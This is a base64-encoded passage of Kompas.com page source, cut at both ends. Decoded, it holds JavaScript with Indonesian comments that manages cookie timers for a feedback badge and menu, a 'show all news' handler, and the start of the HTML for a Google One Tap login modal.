iAgICAvLyBhdGF1IGppa2EgZGkgc2VzaSBiZXJpa3V0bnlhIGRhbiBjb29raWUgY2xpY2sgaWNvbiBiYWRnZSBleHBpcmVkCiAgICAvLyBhdGF1IGppa2EgZGkgc2VzaSBiZXJpa3V0bnlhIGRhbiBjb29raWUgYmFkZ2UgZmVlZGJhY2sgc3VjY2VzcyBleHBpcmVkCiAgICB9IGVsc2UgaWYgKChiYWRnZV9zZXNzaW9uID09IDMgJiYgYmFkZ2VfZmlyc3RfY2xpY2sgPT0gMSkgfHwgKGJhZGdlX3Nlc3Npb24gPT0gMyAmJiBkb2N1bWVudC5jb29raWUuaW5kZXhPZigiY2xpY2tfaWNvbl9iYWRnZT0iKSA9PSAtMSkgfHwgKGJhZGdlX3Nlc3Npb24gPT0gMyAmJiBkb2N1bWVudC5jb29raWUuaW5kZXhPZigiYmFkZ2VfZmVlZGJhY2tfc3VjY2Vzcz0iKSA9PSAtMSkpIHsKICAgICAgICBlbF9iYWRnZS5zdHlsZS5kaXNwbGF5ID0gImJsb2NrIgogICAgICAgIGVsX2JhZGdlX21lbnUuc3R5bGUuZGlzcGxheSA9ICJibG9jayIKICAgICAgICAvLyBjb25zb2xlLmxvZygidGVzdCAzIikKICAgIH0KCiAgICAvLyBoaWRlIGppa2EgYWRhIGNvb2tpZSBjbGljayBpY29uIGJhZGdlIG1hc2loIGFrdGlmIAogICAgLy8gdXRrIGNlayBjb29raWUgMiBqYW0sIDEgaGFyaSwgMSBtaW5nZ3UgZGFuIDQgbWluZ2d1LgogICAgaWYgKGRvY3VtZW50LmNvb2tpZS5pbmRleE9mKCJjbGlja19pY29uX2JhZGdlPSIpICE9IC0xKSB7CiAgICAgICAgZWxfYmFkZ2Uuc3R5bGUuZGlzcGxheSA9ICJub25lIgogICAgICAgIC8vIGNvbnNvbGUubG9nKCJ0ZXN0IDQiKQogICAgfQoKICAgIC8vIGppa2EgIkJlcmlrYW4gbWFzdWtrYW5tdSIgdGVsYWggZGlraWxrLCBtYWthIGhpZGUKICAgIC8vIGppa2EgdGlkYWsgY2VrIGppa2Egc2VzaSA+IDEgZGFuIGNvb2tpZSBmZWVkYmFjayBjbGljayBiYWRnZSAiQmVyaWthbiBtYXN1a2thbm11IiBleHBpcmVkLCBtYWthIHNob3cKICAgIGlmIChkb2N1bWVudC5jb29raWUuaW5kZXhPZigiZmVlZGJhY2tfY2xpY2tfYmFkZ2U9IikgIT0gLTEpIHsKICAgICAgICBlbF9iYWRnZV9tZW51LnN0eWxlLmRpc3BsYXkgPSAibm9uZSIKICAgICAgICAvLyBjb25zb2xlLmxvZygidGVzdCA1IikKICAgIH0gZWxzZSBpZiAoYmFkZ2Vfc2Vzc2lvbiA+IDEgJiYgZG9jdW1lbnQuY29va2llLmluZGV4T2YoImZlZWRiYWNrX2NsaWNrX2JhZGdlPSIpID09IC0xKSB7CiAgICAgICAgZWxfYmFkZ2VfbWVudS5zdHlsZS5kaXNwbGF5ID0gImJsb2NrIgogICAgICAgIC8vIGNvbnNvbGUubG9nKCJ0ZXN0IDYiKQogICAgfQoKICAgIC8vIGhpZGUgamlrYSB0ZWxhaCBtZW1iZXJpIHBlbmlsYWlhbiAKICAgIGlmIChkb2N1bWVudC5jb29raWUuaW5kZXhPZigiYmFkZ2VfZmVlZGJhY2tfc3VjY2Vzcz0iKSAhPSAtMSkgewogICAgICAgIGVsX2JhZGdlLnN0eWxlLmRpc3BsYXkgPSAibm9uZSIKICAgICAgICBlbF9iYWRnZV9tZW51LnN0eWxlLmRpc3BsYXkgPSAibm9uZSIKICAgICAgICAvLyBjb25zb2xlLmxvZygidGVzdCA3IikKICAgIH0KfQpjaGVja0Nvb2tpZUJhZGdlTnBzKCkKCnZhciBzc29fX2ljb25fX2xvZ2luX3RvcCA9IGRvY3VtZW50LmdldEVsZW1lbnRCeUlkKCdzc29fX2ljb25fX2xvZ2luX3RvcCcpCnNzb19faWNvbl9fbG9naW5fdG9wLmFkZEV2ZW50TGlzdGVuZXIoJ2NsaWNrJywgZnVuY3Rpb24oKSB7CiAgICB2YXIgYmFkZ2Vfc2Vzc2lvbiA9IGdldENvb2tpZSgiYmFkZ2Vfc2Vzc2lvbiIpCiAgICB2YXIgYmFkZ2VfZmlyc3RfY2xpY2sgPSBnZXRDb29raWUoImJhZGdlX2ZpcnN0X2NsaWNrIikKICAgIHZhciBmZWVkYmFja19zdWNjZXNzID0gZ2V0Q29va2llKCJiYWRnZV9mZWVkYmFja19zdWNjZXNzIikKICAgIHZhciBjbGlja19pY29uX2JhZGdlID0gZ2V0Q29va2llKCJjbGlja19pY29uX2JhZGdlIikKICAgIHZhciBjbGlja19pY29uX2NvdW50ZXJfYmFkZ2UgPSBnZXRDb29raWUoImNsaWNrX2ljb25fY291bnRlcl9iYWRnZSIpCgogICAgaWYgKGZlZWRiYWNrX3N1Y2Nlc3MgPT0gIiIgfHwgZG9jdW1lbnQuY29va2llLmluZGV4T2YoImJhZGdlX2ZlZWRiYWNrX3N1Y2Nlc3M9IikgPT0gLTEpIHsKICAgICAgICAvLyBjbGljayB1bnR1ayBwZXJ0YW1hIGthbGkgZGkgc2VzaSBiZXJpa3V0bnlhCiAgICAgICAgaWYgKGJhZGdlX3Nlc3Npb24gPT0gMiAmJiBiYWRnZV9maXJzdF9jbGljayA9PSAiIikgewogICAgICAgICAgICBlbF9iYWRnZS5zdHlsZS5kaXNwbGF5ID0gIm5vbmUiCiAgICAgICAgICAgIGVsX2JhZGdlX21lbnUuc3R5bGUuZGlzcGxheSA9ICJibG9jayIKICAgICAgICAgICAgc2V0Q29va2llKCJiYWRnZV9maXJzdF9jbGljayIsIDEsIDg3NjApCiAgICAgICAgICAgIC8vIGNvbnNvbGUubG9nKCJjbGljayAxIikKCiAgICAgICAgLy8gY2xpY2sgamlrYSBzZXNpIGJlcmlrdXRueWEgc2V0ZWxhaCBtZW5na2xpayBpY29uIGJhZGdlIHV0ayBwZXJ0YW1hIGthbGkgICAgCiAgICAgICAgfSBlbHNlIHsKICAgICAgICAgICAgLy8gamlrYSBiZWx1bSBhZGEgY29va2llIGNsaWNrIGljb24gYmFkZ2UKICAgICAgICAgICAgLy8gZGFuIGFkYSBkaSBzZXNpIGJlcmlrdXRueWEgc2V0ZWxhaCBjbGljayBpY29uIHBlcnRhbWEga2FsaQogICAgICAgICAgICAvLyBkYW4gY291bnRlciBjbGljayBpY29uIGtvc29uZyBhdGF1IDAKICAgICAgICAgICAgaWYgKGJhZGdlX3Nlc3Npb24gPT0gMyAmJiBjbGlja19pY29uX2JhZGdlID09ICIiICYmIChjbGlja19pY29uX2NvdW50ZXJfYmFkZ2UgPT0gIiIgfHwgY2xpY2tfaWNvbl9jb3VudGVyX2JhZGdlID09IDApKSB7IAogICAgICAgICAgICAgICAgc2V0Q29va2llKCJjbGlja19pY29uX2NvdW50ZXJfYmFkZ2UiLCAxLCA4NzYwKQogICAgICAgICAgICAgICAgc2V0Q29va2llKCJjbGlja19pY29uX2JhZGdlIiwgMSwgMikKICAgICAgICAgICAgICAgIGVsX2JhZGdlLnN0eWxlLmRpc3BsYXkgPSAibm9uZSIKICAgICAgICAgICAgICAgIGVsX2JhZGdlX21lbnUuc3R5bGUuZGlzcGxheSA9ICJibG9jayIKICAgICAgICAgICAgICAgIC8vIGNvbnNvbGUubG9nKCJjbGlja2VkIDEiKQoKICAgICAgICAgICAgLy8gSmlrYSBjb29raWUgYmFkZ2UgY2xpY2sgaWNvbiBleHBpcmVkIGRhbiBjb3VudGVyID0gMSwgbWFrYSBzZXQgMSBoYXJpCiAgICAgICAgICAgIH0gZWxzZSBpZiAoZG9jdW1lbnQuY29va2llLmluZGV4T2YoImNsaWNrX2ljb25fYmFkZ2U9IikgPT0gLTEgJiYgY2xpY2tfaWNvbl9jb3VudGVyX2JhZGdlID09IDEpIHsgCiAgICAgICAgICAgICAgICBzZXRDb29raWUoImNsaWNrX2ljb25fY291bnRlcl9iYWRnZSIsIHBhcnNlSW50KGNsaWNrX2ljb25fY291bnRlcl9iYWRnZSkrMSwgODc2MCkKICAgICAgICAgICAgICAgIHNldENvb2tpZSgiY2xpY2tfaWNvbl9iYWRnZSIsIDIsIDI0KQogICAgICAgICAgICAgICAgZWxfYmFkZ2Uuc3R5bGUuZGlzcGxheSA9ICJub25lIgogICAgICAgICAgICAgICAgZWxfYmFkZ2VfbWVudS5zdHlsZS5kaXNwbGF5ID0gImJsb2NrIgogICAgICAgICAgICAgICAgLy8gY29uc29sZS5sb2coImNsaWNrZWQgMiIpCgogICAgICAgICAgICAvLyBKaWthIGNvb2tpZSBiYWRnZSBjbGljayBpY29uIGV4cGlyZWQgZGFuIGNvdW50ZXIgPSAyLCBtYWthIHNldCAxIG1pbmdndQogICAgICAgICAgICB9IGVsc2UgaWYgKGRvY3VtZW50LmNvb2tpZS5pbmRleE9mKCJjbGlja19pY29uX2JhZGdlPSIpID09IC0xICYmIGNsaWNrX2ljb25fY291bnRlcl9iYWRnZSA9PSAyKSB7CiAgICAgICAgICAgICAgICBzZXRDb29raWUoImNsaWNrX2ljb25fY291bnRlcl9iYWRnZSIsIHBhcnNlSW50KGNsaWNrX2ljb25fY291bnRlcl9iYWRnZSkrMSwgODc2MCkKICAgICAgICAgICAgICAgIHNldENvb2tpZSgiY2xpY2tfaWNvbl9iYWRnZSIsIDMsIDE2OCkKICAgICAgICAgICAgICAgIGVsX2JhZGdlLnN0eWxlLmRpc3BsYXkgPSAibm9uZSIKICAgICAgICAgICAgICAgIGVsX2JhZGdlX21lbnUuc3R5bGUuZGlzcGxheSA9ICJibG9jayIKICAgICAgICAgICAgICAgIC8vIGNvbnNvbGUubG9nKCJjbGlja2VkIDMiKQogICAgICAgICAgICAKICAgICAgICAgICAgLy8gSmlrYSBjb29raWUgYmFkZ2UgY2xpY2sgaWNvbiBleHBpcmVkIGRhbiBjb3VudGVyIGxlYmloIGRhcmkgMiwgbWFrYSBzZXQgNCBtaW5nZ3UKICAgICAgICAgICAgfSBlbHNlIGlmIChkb2N1bWVudC5jb29raWUuaW5kZXhPZigiY2xpY2tfaWNvbl9iYWRnZT0iKSA9PSAtMSAmJiBjbGlja19pY29uX2NvdW50ZXJfYmFkZ2UgPiAyKSB7CiAgICAgICAgICAgICAgICBzZXRDb29raWUoImNsaWNrX2ljb25fY291bnRlcl9iYWRnZSIsIDAsIDg3NjApIC8vIHJlc2V0IGJhZGdlIGNvdW50ZXIgY2xpY2sgaWNvbiAKICAgICAgICAgICAgICAgIHNldENvb2tpZSgiY2xpY2tfaWNvbl9iYWRnZSIsIDQsIDY3MikKICAgICAgICAgICAgICAgIGVsX2JhZGdlLnN0eWxlLmRpc3BsYXkgPSAibm9uZSIKICAgICAgICAgICAgICAgIGVsX2JhZGdlX21lbnUuc3R5bGUuZGlzcGxheSA9ICJibG9jayIKICAgICAgICAgICAgICAgIC8vIGNvbnNvbGUubG9nKCJjbGlja2VkIDQiKQogICAgICAgICAgICB9CiAgICAgICAgICAgIC8vIGNvbnNvbGUubG9nKCJjbGljayAyIikKICAgICAgICB9ICAKCiAgICAgICAgLy8gamlrYSBmZWVkYmFjayBjbGljayBleHBpcmVkIGRhbiBjb3VudGVyID49IDAsIG1ha2Egc2hvdwogICAgICAgIHZhciBmZWVkYmFja19jbGlja19jb3VudGVyID0gZ2V0Q29va2llKCJmZWVkYmFja19jbGlja19jb3VudGVyX2JhZGdlIikKICAgICAgICBpZiAoYmFkZ2Vfc2Vzc2lvbiA+IDEgJiYgZG9jdW1lbnQuY29va2llLmluZGV4T2YoImZlZWRiYWNrX2NsaWNrX2JhZGdlIikgPT0gLTEgJiYgZmVlZGJhY2tfY2xpY2tfY291bnRlciA+PSAwKSB7CiAgICAgICAgICAgIGVsX2JhZGdlX21lbnUuc3R5bGUuZGlzcGxheSA9ICdibG9jaycKICAgICAgICB9IAogICAgfSAgICAgCn0pCgp2YXIgZmVlZGJhY2tfX2l0ZW0gPSBkb2N1bWVudC5nZXRFbGVtZW50QnlJZCgnZmVlZGJhY2tfX2l0ZW0nKQpmZWVkYmFja19faXRlbS5hZGRFdmVudExpc3RlbmVyKCJjbGljayIsIGZ1bmN0aW9uKCkgewogICAgdmFyIGZlZWRiYWNrX2NsaWNrID0gZ2V0Q29va2llKCJmZWVkYmFja19jbGlja19iYWRnZSIpCiAgICB2YXIgZmVlZGJhY2tfc3VjY2VzcyA9IGdldENvb2tpZSgiYmFkZ2VfZmVlZGJhY2tfc3VjY2VzcyIpCiAgICB2YXIgZmVlZGJhY2tfY2xpY2tfY291bnRlciA9IGdldENvb2tpZSgiZmVlZGJhY2tfY2xpY2tfY291bnRlcl9iYWRnZSIpCgogICAgaWYgKGZlZWRiYWNrX3N1Y2Nlc3MgPT0gIiIgfHwgZG9jdW1lbnQuY29va2llLmluZGV4T2YoImJhZGdlX2ZlZWRiYWNrX3N1Y2Nlc3M9IikgPT0gLTEpIHsKICAgICAgICAvLyBqaWthIGJlbHVtIGFkYSBjb29raWUgZmVlZGJhY2sgY2xpY2sgY291bnRlciwgbWFrYSBzZXQgMiBqYW0KICAgICAgICBpZiAoZmVlZGJhY2tfY2xpY2tfY291bnRlciA9PSAiIiB8fCBmZWVkYmFja19jbGlja19jb3VudGVyID09IDApIHsgCiAgICAgICAgICAgIHNldENvb2tpZSgiZmVlZGJhY2tfY2xpY2tfY291bnRlcl9iYWRnZSIsIDEsIDg3NjApCiAgICAgICAgICAgIHNldENvb2tpZSgiZmVlZGJhY2tfY2xpY2tfYmFkZ2UiLCAxLCAyKQogICAgICAgICAgICBlbF9iYWRnZV9tZW51LnN0eWxlLmRpc3BsYXkgPSAibm9uZSIKICAgICAgICAgICAgLy8gY29uc29sZS5sb2coImZlZWRiYWNrIGNsaWNrZWQgMSIpCgogICAgICAgIC8vIEppa2EgY29va2llIGZlZWRiYWNrIGNsaWNrIGJhZGdlIGV4cGlyZWQgZGFuIGNvdW50ZXIgMSwgbWFrYSBzZXQgMSBoYXJpCiAgICAgICAgfSBlbHNlIGlmIChkb2N1bWVudC5jb29raWUuaW5kZXhPZigiZmVlZGJhY2tfY2xpY2tfYmFkZ2U9IikgPT0gLTEgJiYgZmVlZGJhY2tfY2xpY2tfY291bnRlciA9PSAxKSB7IAogICAgICAgICAgICBzZXRDb29raWUoImZlZWRiYWNrX2NsaWNrX2NvdW50ZXJfYmFkZ2UiLCBwYXJzZUludChmZWVkYmFja19jbGlja19jb3VudGVyKSsxLCA4NzYwKQogICAgICAgICAgICBzZXRDb29raWUoImZlZWRiYWNrX2NsaWNrX2JhZGdlIiwgMiwgMjQpCiAgICAgICAgICAgIGVsX2JhZGdlX21lbnUuc3R5bGUuZGlzcGxheSA9ICJub25lIgogICAgICAgICAgICAvLyBjb25zb2xlLmxvZygiZmVlZGJhY2sgY2xpY2tlZCAyIikKCiAgICAgICAgLy8gSmlrYSBjb29raWUgZmVlZGJhY2sgY2xpY2sgYmFkZ2UgZXhwaXJlZCBkYW4gY291bnRlciAyLCBtYWthIHNldCAxIG1pbmdndQogICAgICAgIH0gZWxzZSBpZiAoZG9jdW1lbnQuY29va2llLmluZGV4T2YoImZlZWRiYWNrX2NsaWNrX2JhZGdlPSIpID09IC0xICYmIGZlZWRiYWNrX2NsaWNrX2NvdW50ZXIgPT0gMikgewogICAgICAgICAgICBzZXRDb29raWUoImZlZWRiYWNrX2NsaWNrX2NvdW50ZXJfYmFkZ2UiLCBwYXJzZUludChmZWVkYmFja19jbGlja19jb3VudGVyKSsxLCA4NzYwKQogICAgICAgICAgICBzZXRDb29raWUoImZlZWRiYWNrX2NsaWNrX2JhZGdlIiwgMywgMTY4KQogICAgICAgICAgICBlbF9iYWRnZV9tZW51LnN0eWxlLmRpc3BsYXkgPSAibm9uZSIKICAgICAgICAgICAgLy8gY29uc29sZS5sb2coImZlZWRiYWNrIGNsaWNrZWQgMyIpCiAgICAgICAgCiAgICAgICAgLy8gSmlrYSBjb29raWUgZmVlZGJhY2sgY2xpY2sgYmFkZ2UgZXhwaXJlZCBkYW4gY291bnRlciA+IDIsIG1ha2Egc2V0IDQgbWluZ2d1CiAgICAgICAgfSBlbHNlIGlmIChkb2N1bWVudC5jb29raWUuaW5kZXhPZigiZmVlZGJhY2tfY2xpY2tfYmFkZ2U9IikgPT0gLTEgJiYgZmVlZGJhY2tfY2xpY2tfY291bnRlciA+IDIpIHsKICAgICAgICAgICAgc2V0Q29va2llKCJmZWVkYmFja19jbGlja19jb3VudGVyX2JhZGdlIiwgMCwgODc2MCkKICAgICAgICAgICAgc2V0Q29va2llKCJmZWVkYmFja19jbGlja19iYWRnZSIsIDQsIDY3MikKICAgICAgICAgICAgZWxfYmFkZ2VfbWVudS5zdHlsZS5kaXNwbGF5ID0gIm5vbmUiCiAgICAgICAgICAgIC8vIGNvbnNvbGUubG9nKCJmZWVkYmFjayBjbGlja2VkIDQiKQogICAgICAgIH0gZWxzZSB7CiAgICAgICAgICAgIC8vIGppa2EgZGkgc2VzaSBzZWJlbHVtbnlhIHN1ZGFoIGRpa2xpayB0YXBpIGJlbHVtIGlzaSBmZWVkYmFjawogICAgICAgICAgICBlbF9iYWRnZV9tZW51LnN0eWxlLmRpc3BsYXkgPSAibm9uZSIKICAgICAgICAgICAgLy8gY29uc29sZS5sb2coImZlZWRiYWNrIGNsaWNrZWQgNSIpCiAgICAgICAgfQogICAgfSAKfSkKCmZ1bmN0aW9uIHNldENvb2tpZShuYW1lLHZhbHVlLGhvdXIpIHsKICAgIHZhciBleHBpcmVzID0gIiI7CiAgICBpZiAoaG91cikgewogICAgICAgIHZhciBkYXRlID0gbmV3IERhdGUoKTsKICAgICAgICBkYXRlLnNldFRpbWUoZGF0ZS5nZXRUaW1lKCkgKyAoaG91cio2MCo2MCoxMDAwKSk7CiAgICAgICAgZXhwaXJlcyA9ICI7IGV4cGlyZXM9IiArIGRhdGUudG9VVENTdHJpbmcoKTsKICAgIH0KICAgIGRvY3VtZW50LmNvb2tpZSA9IG5hbWUgKyAiPSIgKyAodmFsdWUgfHwgIiIpICArIGV4cGlyZXMgKyAiOyA7ZG9tYWluPS5rb21wYXMuY29tO3BhdGg9LyI7Cn0KCmZ1bmN0aW9uIGdldENvb2tpZShjbmFtZSkgewogICAgdmFyIG5hbWUgPSBjbmFtZSArICI9IjsKICAgIHZhciBkZWNvZGVkQ29va2llID0gZGVjb2RlVVJJQ29tcG9uZW50KGRvY3VtZW50LmNvb2tpZSk7CiAgICB2YXIgY2EgPSBkZWNvZGVkQ29va2llLnNwbGl0KCc7Jyk7CiAgICBmb3IodmFyIGkgPSAwOyBpIDxjYS5sZW5ndGg7IGkrKykgewogICAgICAgIHZhciBjID0gY2FbaV07CiAgICAgICAgd2hpbGUgKGMuY2hhckF0KDApID09ICcgJykgewogICAgICAgIGMgPSBjLnN1YnN0cmluZygxKTsKICAgICAgICB9CiAgICAgICAgaWYgKGMuaW5kZXhPZihuYW1lKSA9PSAwKSB7CiAgICAgICAgcmV0dXJuIGMuc3Vic3RyaW5nKG5hbWUubGVuZ3RoLCBjLmxlbmd0aCk7CiAgICAgICAgfQogICAgfQogICAgcmV0dXJuICIiOwp9CgovLyBhY3Rpb24gY3JlYXRlIGNvb2tpZSBiYWRnZV9mZWVkYmFja19zdWNjZXNzIGV4cGlyZWQgOTAgaGFyaQp2YXIgb25TdWJtaXROcHMgPSBkb2N1bWVudC5nZXRFbGVtZW50QnlJZCgibnBzLXN1Ym1pdCIpCmlmIChvblN1Ym1pdE5wcyAhPT0gbnVsbCkgewogICAgb25TdWJtaXROcHMuYWRkRXZlbnRMaXN0ZW5lcigiY2xpY2siLCBmdW5jdGlvbihlKSB7CiAgICAgICAgLy8gZS5wcmV2ZW50RGVmYXVsdCgpIAogICAgICAgIHNldENvb2tpZSgiYmFkZ2VfZmVlZGJhY2tfc3VjY2VzcyIsIDEsIDIxNjApCiAgICB9KQp9Cjwvc2NyaXB0PjxzY3JpcHQgdHlwZT0idGV4dC9qYXZhc2NyaXB0Ij4KICAgIGNvbnN0IHNob3dBbGxCdG5KcyA9IGRvY3VtZW50LnF1ZXJ5U2VsZWN0b3IoJyNzaG93X2FsbF9uZXdzJykKICAgIGlmICghIXNob3dBbGxCdG5KcykgewogICAgICAgIHNob3dBbGxCdG5Kcy5hZGRFdmVudExpc3RlbmVyKCdjbGljaycsIGZ1bmN0aW9uKCkgewogICAgICAgICAgICBjb25zdCBzdGFydFBhZ2UgPSBzaG93QWxsQnRuSnMuZGF0YXNldC5zdGFydFBhZ2UKICAgICAgICAgICAgY29uc3QgdXJsID0gbmV3IFVSTCh3aW5kb3cubG9jYXRpb24uaHJlZik7CiAgICAgICAgICAgIHdpbmRvdy5sb2NhdGlvbi5ocmVmID0gYCR7dXJsLm9yaWdpbn0ke3VybC5wYXRobmFtZX0/cGFnZT1hbGwjcGFnZSR7c3RhcnRQYWdlfWA7CiAgICAgICAgfSkKICAgIH0KPC9zY3JpcHQ+Cgo8c2VjdGlvbiBjbGFzcz0ia2dtTW9kYWwgLWhpZGUiIGlkPSJrZ21Nb2RhbC1vbmV0YXAiIGRhdGEtZXZlbnQtY2F0ZWdvcnk9IktHIE1lZGlhIElEIEFjY291bnQiIGRhdGEtZXZlbnQtYWN0aW9uPSJWaWV3IEtHIE9uZXRhcCIgZGF0YS1ldmVudC1sYWJlbD0iIiBkYXRhLWV2ZW50LXRyYWNrPSJpbXByZXNzaW9uIiBkYXRhLXVybD0iIiB0eXBlPSJidXR0b24iPiAKICAgIDxkaXYgY2xhc3M9ImtnbU1vZGFsLWJsb2NrIj4KICAgICAgICA8ZGl2IGNsYXNzPSJrZ21Nb2RhbC1oZWFkZXIiPgogICAgICAgICAgICA8ZGl2IGNsYXNzPSJrZ21Nb2RhbC1oZWFkZXItaW5uZXIiPgogICAgICAgICAgICAgICAgPGRpdiBjbGFzcz0ia2dtTW9kYWwtaGVhZGVyLWxvZ28iPgogICAgICAgICAgICAgICAgICAgIDxpbWcgY2xhc3M9ImxvemFkIiBkYXRhLXNyYz0iaHR0cHM6Ly9hc3NldC5rb21wYXMuY29tL2RhdGEvMjAyMy8wMy8zMC9rb21wYXNjb20vaW1hZ2VzL2xvZ28ta29tcGFzY29tLnN2Zz92PTEiIGFsdD0ibG9nby1Lb21wYXMuY29tIj4KICAgICAgICAgICAgICAgIDwvZGl2PgogICAgICAgICAgICAgICAgPGJ1dHRvbiBkYXRhLWV2ZW50LWNhdGVnb3J5PSJLRyBNZWRpYSBJRCBBY2NvdW50IiBkYXRhLWV2ZW50LWFjdGlvbj0iQ2xpY2tDbG9zZSBLRyBPbmV0YXAiIGRhdGEtZXZlbnQtbGFiZWw9IlRhZ3MgQnV0dG9uIiBkYXRhLWV2ZW50LXRyYWNrPSJjbGljayIgZGF0YS11cmw9IiIgdHlwZT0iYnV0dG9uIiBpZD0ia2dtTW9kYWwtb25ldGFwLWNsb3NlLXRhZyIgY2xhc3M9ImtnbU1vZGFsLWNsb3NlIiBzdHlsZT0iZGlzcGxheTpub25lOyI+PC9idXR0b24+CiAgICAgICAgICAgICAgICA8YnV0dG9uIGRhdGEtZXZlbnQtY2F0ZWdvcnk9IktHIE1lZGlhIElEIEFjY291bnQiIGRhdGEtZXZlbnQtYWN0aW9uPSJDbGlja0Nsb3NlIEtHIE9uZXRhcCIgZGF0YS1ldmVudC1sYWJlbD0iU2VlIEFsbCBCdXR0b24iIGRhdGEtZXZlbnQtdHJhY2s9ImNsaWNrIiB0eXBlPSJidXR0b24iIGlkPSJrZ21Nb2RhbC1vbmV0YXAtY2xvc2UtcGFnZSIgb25jbGljaz0iaWYgKCF3aW5kb3cuX19jZlJMVW5ibG9ja0hhbmRsZXJzKSByZXR1cm4gZmFsc2U7IGRvY3VtZW50LmdldEVsZW1lbnRCeUlkKCYjMzk7a2dtTW9kYWwtb25ldGFwJiMzOTspLmNsYXNzTGlzdC5hZGQoJiMzOTstaGlkZSYjMzk7KTtvbmVUYXBIaWRlKCk7cmV0dXJuIGZhbHNlOyIgY2xhc3M9ImtnbU1vZGFsLWNsb3NlIiBzdHlsZT0iZGlzcGxheTpub25lOyI+PC9idXR0b24+CiAgICAgICAgICAgICAgICA8YnV0dG9uIGRhdGEtZXZlbnQtY2F0ZWdvcnk9IktHIE1lZGlhIElEIEFjY291bnQiIGRhdGEtZXZlbnQtYWN0aW9uPSJDbGlja0Nsb3NlIEtHIE9uZXRhcCIgZGF0YS1ldmVudC1sYWJlbD0iIiBkYXRhLWV2ZW50LXRyYWNrPSJjbGljayIgdHlwZT0iYnV0dG9uIiBpZD0ia2dtTW9kYWwtb25ldGFwLWNsb3NlLWl0ZXJhY3Rpb24iIG9uY2xpY2s9ImlmICghd2luZG93Ll9fY2ZSTFVuYmxvY2tIYW5kbGVycykgcmV0dXJuIGZhbHNlOyBkb2N1bWVudC5nZXRFbGVtZW50QnlJZCgmIzM5O2tnbU1vZGFsLW9uZXRhcCYjMzk7KS5jbGFzc0xpc3QuYWRkKCYjMzk7LWhpZGUmIzM5Oyk7b25lVGFwSGlkZSgpO3JldHVybiBmYWxzZTsiIGNsYXNzPSJrZ21Nb2RhbC1jbG9zZSIgc3R5bGU9ImRpc3BsYXk6bm9uZTsiPjwvYnV0dG9uPgogICAgICAgICAgICA8L2Rpdj4KICAgICAgICA8L2Rpdj4KICAgICAgICA8ZGl2IGNsYXNzPSJrZ21Nb2RhbC1ib2R5Ij4KCiAgICAgICAgICAgIDxkaXYgY2xhc3M9ImtnbU1vZGFsLWNlbnRlciI+CiAgICAgICAgICAgICAgICA8ZGl2IGNsYXNzPSJrZ21Nb2RhbC10aXRsZSIgaWQ9ImtnbU1vZGFsLXRpdGxlIj5Mb2dpbiB1bnR1ayBtZW1ha3NpbWFsa2FuIHBlbmdhbGFtYW4gbWVuZ2Frc2VzIEtvbXBhcy5jb208L2Rpdj4KICAgICAgICAgICAgPC9kaXY+CgogICAgICAgICAgICA8ZGl2IGNsYXNzPSJrZ21Nb2RhbC1vbmV0YXAiPgogICAgICAgICAgICAgICAgPCEtLSBnb29nbGUgLS0+CiAgICAgICAgICAgICAgICA8ZGl2IGNsYXNzPSJmb3JtLWdvb2dsZSI+CiAgICAgICAgICAgICAgICAgICAgPGRpdiBpZD0ia2dPbmUxIj4KICAgICAgICAgICAgICAgICAgICAgICAgPGRpdiBpZD0iZ19pZF9vbmxvYWQiCiAgICAgICAgICAgICAgICAgICAgICAgICAgICBkYXRhLWNsaWVudF9pZD0iNzc2ODI4ODEzMzU4LWluZms0c2plM3EwN3NhOG1nOG42bHExbWsycGRra3VhLmFwcHMuZ29vZ2xldXNlcmNvbnRlbnQuY29tIgogICAgICAgICAgICAgICAgICAgICAgICAgICAgZGF0YS1jb250ZXh0PSJzaWduaW4iCiAgICAgICAgICAgICAgICAgICAgICAgICAgICBkYXRhLXV4X21vZGU9InBvcHVwIgogICAgICAgICAgICAgICAgICAgICAgICAgICAgZGF0YS1zZXJ2aWNlPSJhMjl0Y0dGeiIKICAgICAgICAgICAgICAgICAgICAgICAgICAgIGRhdGEtY29udGludWU9ImFIUjBjSE02THk5M2QzY3VhMjl0Y0dGekxtTnZiUzlxWVhkaExXSmhjbUYwTDNKbFlXUXZNakF5TlM4d09TOHdOQzh4TnpJd01EQXpPRGd2YTI5dGNHOXNMV052YzIxaGN5MWthWEJsWTJGMExYUnBaR0ZyTFdodmNtMWhkQzF3WlhKdVlXZ3RkR1Z5YzJWeVpYUXRhMkZ6ZFhNdGNHVnVlV2x5WVcxaGJqOTFkRzFmYzI5MWNtTmxQV3h2WjJsdVgydG5iMjVsZEdGdyIKICAgICAgICAgICAgICAgICAgICAgICAgICAgIGRhdGEtbG9naW5fdXJpPSJodHRwczovL2FjY291bnQua29tcGFzLmNvbS9zb2NpYWwvdXNlciIKICAgICAgICAgICAgICAgICAgICAgICAgICAgIGRhdGEtc2NvcGU9InB1YmxpY19wcm9maWxlLGVtYWlsLG9wZW5pZCIKICAgICAgICAgICAgICAgICAgICAgICAgICAgIGRhdGEtcHJvdmlkZXI9Imdvb2dsZSIKICAgICAgICAgICAgICAgICAgICAgICAgICAgIGRhdGEtbm9uY2U9IiIKICAgICAgICAgICAgICAgICAgICAgICAgICAgIGRhdGEtYXV0b19wcm9tcHQ9ImZhbHNlIj4KICAgICAgICAgICAgICAgICAgICAgICAgPC9kaXY+CgogICAgICAgICAgICAgICAgICAgICAgICA8ZGl2IGNsYXNzPSJnX2lkX3NpZ25pbiIgZGF0YS10eXBlPSJzdGFuZGFyZCIgZGF0YS1zaGFwZT0icmVjdGFuZ3VsYXIiIGRhdGEtdGhlbWU9ImZpbGxlZF9ibHVlIiBkYXRhLXRleHQ9ImNvbnRpbnVlX3dpdGgiIGRhdGEtc2l6ZT0ibGFyZ2UiIGRhdGEtbG9nb19hbGlnbm1lbnQ9ImxlZnQiIG9uY2xpY2s9ImlmICghd2luZG93Ll9fY2ZSTFVuYmxvY2tIYW5kbGVycykgcmV0dXJuIGZhbHNlOyBhY3Rpb25Hb29nbGVMb2dpbigpIj48ZGl2IGNsYXNzPSJTOWdVcmYtWW9aNGpmIiBzdHlsZT0icG9zaXRpb246IHJlbGF0aXZlOyI+PGRpdj48ZGl2IHRhYmluZGV4PSIwIiByb2xlPSJidXR0b24iIGFyaWEtbGFiZWxsZWRieT0iYnV0dG9uLWxhYmVsIiBjbGFzcz0ibnNtN0JiLUh6VjdtLUxnYnNTZSAgaEpEd05kLVN4UXVTZSBNRlM0YmUtdjNwWmJmLUlhN1FmYyBNRlM0YmUtSWE3UWZjIHVheEw0ZS1SYlJ6SyI+PGRpdiBjbGFzcz0ibnNtN0JiLUh6VjdtLUxnYnNTZS1NSm9CVmUiPjwvZGl2PjxkaXYgY2x